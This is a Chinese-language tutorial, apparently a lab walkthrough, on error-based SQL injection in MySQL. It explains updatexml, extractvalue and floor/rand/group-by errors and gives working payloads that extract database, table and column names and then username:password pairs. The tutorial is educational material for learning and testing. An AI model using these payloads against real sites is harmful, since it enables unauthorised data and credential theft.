GET基于报错的注入
这个标题跟我另外一篇《报错基于GET的注入》非常像,但是要分清楚了,这2个注入base基于的点是不同的。
报错注入形式上是两个嵌套的查询,即select…(select…),里面的select被称为子查询,他的执行顺序也是先执行子查询,再执行外面的select,双注入主要涉及到了几个SQL函数:
SQL COUNT(*) 函数
定义和用法
COUNT(*) 函数返回在给定的选择中被选的行数。
语法
SELECT COUNT(*) FROM table
例子
Name | Age |
---|---|
Adams, John | 38 |
Bush, George | 33 |
Carter, Thomas | 18 |
例子 1
本例返回 "Persons" 表中的行数:
SELECT COUNT(*) FROM Persons
结果:3
例子 2
返回大于 20 岁的人数:
SELECT COUNT(*) FROM Persons WHERE Age>20
结果:2
适用场景
前提当然是要有错误提示了,不然题目为啥有个基于报错呢?但是输入正确后,却无法显示数据的情况下比如下面这样,可以看到只显示了一个You are in… (つД`)这个时候就可以通过报错注入来获得信息了。
![1.jpg](https://i.loli.net/2020/10/15/RSJHoZNfjYwmEL7.jpg)
报错注入
在SQL注入攻击过程中,服务器开启了错误回显,页面会返回错误信息,利用报错函数获取数据库数据。
常用的MySQL报错函数
--xpath语法错误
extractvalue() #查询节点内容
updatexml() #修改查询到的内容
它们的第二个参数都要求是符合xpath语法的字符串
如果不满足要求则会报错,并且将查询结果放在报错信息里
--主键重复(duplicate entry)
floor() #返回小于等于该值的最大整数
只要是count,rand(),group by #三个连用就会造成这种主键重复报错
根据报错获取数据原理
首先了解下updatexml() 函数
UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
updatexml(1,concat(0x7e,(select database()),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
错误代码:1105
XPATH syntax error: '~databaseName~'
1、尝试报错
2、获取数据库名
SELECT * FROM users WHERE id='$id'
and
updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
--0x7e是"~"符号的16进制,在这作为分隔符
![2.jpg](https://i.loli.net/2020/10/15/INwr4Xt8apZEYSj.jpg)
3、获取表名
SELECT * FROM users WHERE id='$id'
and
updatexml(1,concat(0x7e,(select table_name from information_schema.tables
where
table_schema='数据库名' limit 0,1),0x7e),
1) --+
![3.jpg](https://i.loli.net/2020/10/15/ZO6v8iYDnoeA1ck.jpg)
4、获取字段名
SELECT * FROM users WHERE id='$id'
and
updatexml(1,concat(0x7e,
(select column_name from information_schema.columns
where
table_schema='数据库名' and table_name='表名' limit 0,1),
0x7e),1) --+
5、取数据
SELECT * FROM users WHERE id='$id'
and
updatexml(1,concat(0x7e,
(select concat(username,0x3a,password)
from
users limit 0,1),0x7e),
1) --+
6、其他函数payload语法:
--extractvalue
SELECT * FROM users WHERE id='$id'
and
extractvalue(1,concat(0x7e,(select database()),0x7e))--+
--floor()
SELECT * FROM users WHERE id='$id'
and
(select 1 from (select count(*),concat(database(),floor(rand(0)*2))x
from
information_schema.tables group by x)a)--+
可以清晰的看出,这是通过子查询的select来报错获取想要信息的注入。